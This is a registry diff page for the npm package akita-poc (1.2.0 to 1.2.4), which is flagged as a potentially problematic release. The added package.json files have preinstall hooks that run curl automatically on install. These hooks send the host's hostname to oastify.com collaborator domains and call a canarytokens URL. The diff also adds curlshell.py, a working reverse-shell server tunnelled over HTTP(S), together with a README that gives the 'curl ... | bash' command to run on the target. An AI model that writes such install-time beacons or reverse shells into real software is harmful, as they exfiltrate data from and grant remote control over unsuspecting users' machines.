akita-poc 1.2.0 → 1.2.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of akita-poc might be problematic. Click here for more details.
- package/nordic-dev/curlshell/README.md +24 -0
- package/nordic-dev/curlshell/curlshell.py +220 -0
- package/nordic-dev/index.js +3 -0
- package/nordic-dev/package.json +15 -0
- package/odin-security/index.js +3 -0
- package/odin-security/package.json +15 -0
- package/odin-security/packages.txt +0 -0
- package/package.json +4 -3
- package/package.json.odin-security +15 -0
@@ -0,0 +1,24 @@
|
|
1
|
+
# Reverse shell using curl
|
2
|
+
|
3
|
+
During security research, you may end up running code in an environment,
|
4
|
+
where establishing raw TCP connections to the outside world is not possible;
|
5
|
+
outgoing connection may only go through a connect proxy (HTTPS_PROXY).
|
6
|
+
This simple interactive HTTP server provides a way to mux
|
7
|
+
stdin/stdout and stderr of a remote reverse shell over that proxy with the
|
8
|
+
help of curl.
|
9
|
+
|
10
|
+
## Usage
|
11
|
+
|
12
|
+
Start your listener:
|
13
|
+
|
14
|
+
```
|
15
|
+
./curlshell.py --certificate fullchain.pem --private-key privkey.pem --listen-port 1234
|
16
|
+
```
|
17
|
+
|
18
|
+
On the remote side:
|
19
|
+
|
20
|
+
```
|
21
|
+
curl https://curlshell:1234 | bash
|
22
|
+
```
|
23
|
+
|
24
|
+
That's it!
|
@@ -0,0 +1,220 @@
|
|
1
|
+
#!/usr/bin/env python3
|
2
|
+
|
3
|
+
from http.server import ThreadingHTTPServer, BaseHTTPRequestHandler
|
4
|
+
import ssl
|
5
|
+
import json
|
6
|
+
import argparse
|
7
|
+
import requests
|
8
|
+
import sys
|
9
|
+
import select
|
10
|
+
import threading
|
11
|
+
import os
|
12
|
+
import tty
|
13
|
+
import termios
|
14
|
+
from collections import defaultdict
|
15
|
+
|
16
|
+
# inspired by: https://stackoverflow.com/questions/29023885/python-socket-readline-without-socket-makefile
|
17
|
+
import socket
|
18
|
+
from asyncio import IncompleteReadError # only import the exception class
|
19
|
+
|
20
|
+
PTY_UPGRADE_CMD = "p=$(which python || which python3); s=$(which bash || which sh); if [ -n $p ]; then exec $p -c 'import pty;pty.spawn(\"'$s'\")'; fi"
|
21
|
+
|
22
|
+
class SocketStreamReader:
|
23
|
+
def __init__(self, sock: socket.socket):
|
24
|
+
self._sock = sock
|
25
|
+
self._recv_buffer = bytearray()
|
26
|
+
|
27
|
+
def read(self, num_bytes: int = -1) -> bytes:
|
28
|
+
raise NotImplementedError
|
29
|
+
|
30
|
+
def readexactly(self, num_bytes: int) -> bytes:
|
31
|
+
buf = bytearray(num_bytes)
|
32
|
+
pos = 0
|
33
|
+
while pos < num_bytes:
|
34
|
+
n = self._recv_into(memoryview(buf)[pos:])
|
35
|
+
if n == 0:
|
36
|
+
raise IncompleteReadError(bytes(buf[:pos]), num_bytes)
|
37
|
+
pos += n
|
38
|
+
return bytes(buf)
|
39
|
+
|
40
|
+
def readline(self) -> bytes:
|
41
|
+
return self.readuntil(b"\n")
|
42
|
+
|
43
|
+
def readuntil(self, separator: bytes = b"\n") -> bytes:
|
44
|
+
if len(separator) != 1:
|
45
|
+
raise ValueError("Only separators of length 1 are supported.")
|
46
|
+
|
47
|
+
chunk = bytearray(4096)
|
48
|
+
start = 0
|
49
|
+
buf = bytearray(len(self._recv_buffer))
|
50
|
+
bytes_read = self._recv_into(memoryview(buf))
|
51
|
+
assert bytes_read == len(buf)
|
52
|
+
|
53
|
+
while True:
|
54
|
+
idx = buf.find(separator, start)
|
55
|
+
if idx != -1:
|
56
|
+
break
|
57
|
+
|
58
|
+
start = len(self._recv_buffer)
|
59
|
+
bytes_read = self._recv_into(memoryview(chunk))
|
60
|
+
buf += memoryview(chunk)[:bytes_read]
|
61
|
+
|
62
|
+
result = bytes(buf[: idx + 1])
|
63
|
+
self._recv_buffer = b"".join(
|
64
|
+
(memoryview(buf)[idx + 1 :], self._recv_buffer)
|
65
|
+
)
|
66
|
+
return result
|
67
|
+
|
68
|
+
def _recv_into(self, view: memoryview) -> int:
|
69
|
+
bytes_read = min(len(view), len(self._recv_buffer))
|
70
|
+
view[:bytes_read] = self._recv_buffer[:bytes_read]
|
71
|
+
self._recv_buffer = self._recv_buffer[bytes_read:]
|
72
|
+
if bytes_read == len(view):
|
73
|
+
return bytes_read
|
74
|
+
bytes_read += self._sock.readinto1(view[bytes_read:])
|
75
|
+
if bytes_read <= 0:
|
76
|
+
raise Exception("end of stream")
|
77
|
+
return bytes_read
|
78
|
+
|
79
|
+
def eprint(*args, **kwargs):
|
80
|
+
print(*args, **kwargs, file=sys.stderr)
|
81
|
+
|
82
|
+
lock = threading.Lock()
|
83
|
+
lockdata = defaultdict(int)
|
84
|
+
def locker(c, d, should_exit):
|
85
|
+
if not should_exit:
|
86
|
+
return
|
87
|
+
lock.acquire()
|
88
|
+
try:
|
89
|
+
lockdata[c] += d
|
90
|
+
if d < 0:
|
91
|
+
s = 0
|
92
|
+
for k in lockdata:
|
93
|
+
v = lockdata[k]
|
94
|
+
s += v
|
95
|
+
if s <= 0:
|
96
|
+
eprint("Exiting")
|
97
|
+
os._exit(0)
|
98
|
+
finally:
|
99
|
+
lock.release()
|
100
|
+
|
101
|
+
|
102
|
+
class ConDispHTTPRequestHandler(BaseHTTPRequestHandler):
|
103
|
+
|
104
|
+
# this is receiving the output of the bash process on the remote end and prints it to the local terminal
|
105
|
+
def do_PUT(self):
|
106
|
+
self.server.should_exit = False
|
107
|
+
w = self.path[1:]
|
108
|
+
d = getattr(sys, w)
|
109
|
+
if not d:
|
110
|
+
raise Exception("Invalid request")
|
111
|
+
locker(w, 1, not self.server.args.serve_forever)
|
112
|
+
eprint(w, "stream connected")
|
113
|
+
sr = SocketStreamReader(self.rfile)
|
114
|
+
while True:
|
115
|
+
line = sr.readline()
|
116
|
+
chunksize = int(line, 16)
|
117
|
+
if chunksize <= 0:
|
118
|
+
break
|
119
|
+
data = sr.readexactly(chunksize)
|
120
|
+
d.buffer.write(data)
|
121
|
+
d.buffer.flush()
|
122
|
+
# chunk trailer
|
123
|
+
sr.readline()
|
124
|
+
eprint(w, "stream closed")
|
125
|
+
self.server.should_exit = True
|
126
|
+
locker(w, -1, not self.server.args.serve_forever)
|
127
|
+
|
128
|
+
def _feed(self, data):
|
129
|
+
if self.server.args.dependabot_workaround:
|
130
|
+
self.wfile.write(data.encode())
|
131
|
+
self.wfile.flush()
|
132
|
+
else:
|
133
|
+
self._send_chunk(data)
|
134
|
+
|
135
|
+
# this is feeding the bash process on the remote end with input typed in the local terminal
|
136
|
+
def do_POST(self):
|
137
|
+
eprint("stdin stream connected")
|
138
|
+
self.send_response(200)
|
139
|
+
self.send_header('Content-Type', "application/binary")
|
140
|
+
self.send_header('Transfer-Encoding', 'chunked')
|
141
|
+
self.end_headers()
|
142
|
+
|
143
|
+
locker("stdin", 1, not self.server.args.serve_forever)
|
144
|
+
|
145
|
+
if self.server.args.upgrade_pty:
|
146
|
+
eprint(PTY_UPGRADE_CMD)
|
147
|
+
self._feed(PTY_UPGRADE_CMD+"\n")
|
148
|
+
|
149
|
+
while True:
|
150
|
+
s = select.select([sys.stdin, self.request], [], [], 1)[0]
|
151
|
+
if self.server.should_exit:
|
152
|
+
break
|
153
|
+
if self.request in s:
|
154
|
+
# input broken
|
155
|
+
break
|
156
|
+
if sys.stdin in s:
|
157
|
+
data = sys.stdin.readline()
|
158
|
+
self._feed(data)
|
159
|
+
self._send_chunk("")
|
160
|
+
eprint("stdin stream closed")
|
161
|
+
|
162
|
+
locker("stdin", -1, not self.server.args.serve_forever)
|
163
|
+
|
164
|
+
def do_GET(self):
|
165
|
+
eprint("cmd request received from", self.client_address)
|
166
|
+
schema = "https" if self.server.args.certificate else "http"
|
167
|
+
host = self.headers["Host"]
|
168
|
+
cmd = f"stdbuf -i0 -o0 -e0 curl -X POST -s {schema}://{host}/input"
|
169
|
+
cmd+= f" | bash 2> >(curl -s -T - {schema}://{host}/stderr)"
|
170
|
+
cmd+= f" | curl -s -T - {schema}://{host}/stdout"
|
171
|
+
cmd+= "\n"
|
172
|
+
# sending back the complex command to be executed
|
173
|
+
self.send_response(200)
|
174
|
+
self.send_header('Content-Type', "text/plain")
|
175
|
+
self.send_header('Transfer-Encoding', 'chunked')
|
176
|
+
self.end_headers()
|
177
|
+
self._send_chunk(cmd)
|
178
|
+
self._send_chunk("")
|
179
|
+
eprint("bootstrapping command sent")
|
180
|
+
|
181
|
+
def _send_chunk(self, data):
|
182
|
+
if type(data) == str:
|
183
|
+
try:
|
184
|
+
data = data.encode()
|
185
|
+
except UnicodeEncodeError:
|
186
|
+
eprint("Invalid unicode character in the input, chunk not sent")
|
187
|
+
return
|
188
|
+
full_packet = '{:X}\r\n'.format(len(data)).encode()
|
189
|
+
full_packet += data
|
190
|
+
full_packet += b"\r\n"
|
191
|
+
self.wfile.write(full_packet)
|
192
|
+
self.wfile.flush()
|
193
|
+
|
194
|
+
|
195
|
+
def do_the_job(args):
|
196
|
+
httpd = ThreadingHTTPServer((args.listen_host, args.listen_port), ConDispHTTPRequestHandler)
|
197
|
+
setattr(httpd, "args", args)
|
198
|
+
setattr(httpd, "should_exit", False)
|
199
|
+
if args.certificate and args.private_key:
|
200
|
+
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER )
|
201
|
+
context.load_cert_chain(args.certificate, args.private_key)
|
202
|
+
httpd.socket = context.wrap_socket(httpd.socket)
|
203
|
+
eprint(f"https listener starting {args.listen_host}:{args.listen_port}")
|
204
|
+
else:
|
205
|
+
eprint(f"plain http listener starting {args.listen_host}:{args.listen_port}")
|
206
|
+
|
207
|
+
# handle_request()
|
208
|
+
httpd.serve_forever()
|
209
|
+
|
210
|
+
|
211
|
+
if __name__ == "__main__":
|
212
|
+
parser = argparse.ArgumentParser(description="Usage on target: curl https://curlshell | bash")
|
213
|
+
parser.add_argument("--private-key", help="path to the private key for TLS")
|
214
|
+
parser.add_argument("--certificate", help="path to the certificate for TLS")
|
215
|
+
parser.add_argument("--listen-host", default="0.0.0.0", help="host to listen on")
|
216
|
+
parser.add_argument("--listen-port", type=int, default=443, help="port to listen on")
|
217
|
+
parser.add_argument("--serve-forever", default=False, action='store_true', help="whether the server should exit after processing a session (just like nc would)")
|
218
|
+
parser.add_argument("--dependabot-workaround", action='store_true', default=False, help="transfer-encoding support in the dependabot proxy is broken, it rewraps the raw chunks. This is a workaround.")
|
219
|
+
parser.add_argument("--upgrade-pty", action='store_true', default=False, help=f"When a connection is established, attempt to invoke python to create a pseudo-terminal to improve the shell experience.")
|
220
|
+
do_the_job(parser.parse_args())
|
@@ -0,0 +1,15 @@
|
|
1
|
+
{
|
2
|
+
"name": "nordic-dev",
|
3
|
+
"version": "1.0.2",
|
4
|
+
"description": "poc",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "curl --data-urlencode info=$() http://479pa367cl3elrpuciye4inib9h65wtl.oastify.com"
|
9
|
+
},
|
10
|
+
"author": "Akita",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"account": "^1.0.0"
|
14
|
+
}
|
15
|
+
}
|
@@ -0,0 +1,15 @@
|
|
1
|
+
{
|
2
|
+
"name": "odin-security",
|
3
|
+
"version": "8.8.88",
|
4
|
+
"description": "poc",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "curl --data-urlencode info=$(hostname) http://mb17elapg37wp9tcg02w80r0frlr9hx6.oastify.com"
|
9
|
+
},
|
10
|
+
"author": "Akita",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"account": "^1.0.0"
|
14
|
+
}
|
15
|
+
}
|
File without changes
|
package/package.json
CHANGED
@@ -1,15 +1,16 @@
|
|
1
1
|
{
|
2
2
|
"name": "akita-poc",
|
3
|
-
"version": "1.2.
|
3
|
+
"version": "1.2.4",
|
4
4
|
"description": "poc",
|
5
5
|
"main": "index.js",
|
6
6
|
"scripts": {
|
7
7
|
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
-
"preinstall": "curl
|
8
|
+
"preinstall": "curl http://canarytokens.com/static/vku44mbctn82d4rl7is2qznz5/submit.aspx"
|
9
9
|
},
|
10
10
|
"author": "Akita",
|
11
11
|
"license": "ISC",
|
12
12
|
"dependencies": {
|
13
|
-
"account": "^1.0.0"
|
13
|
+
"account": "^1.0.0",
|
14
|
+
"akita-poc": "^1.2.3"
|
14
15
|
}
|
15
16
|
}
|
@@ -0,0 +1,15 @@
|
|
1
|
+
{
|
2
|
+
"name": "odin-security",
|
3
|
+
"version": "8.8.88",
|
4
|
+
"description": "poc",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "curl --data-urlencode info=$(hostname) http://479pa367cl3elrpuciye4inib9h65wtl.oastify.com"
|
9
|
+
},
|
10
|
+
"author": "Akita",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"account": "^1.0.0"
|
14
|
+
}
|
15
|
+
}
|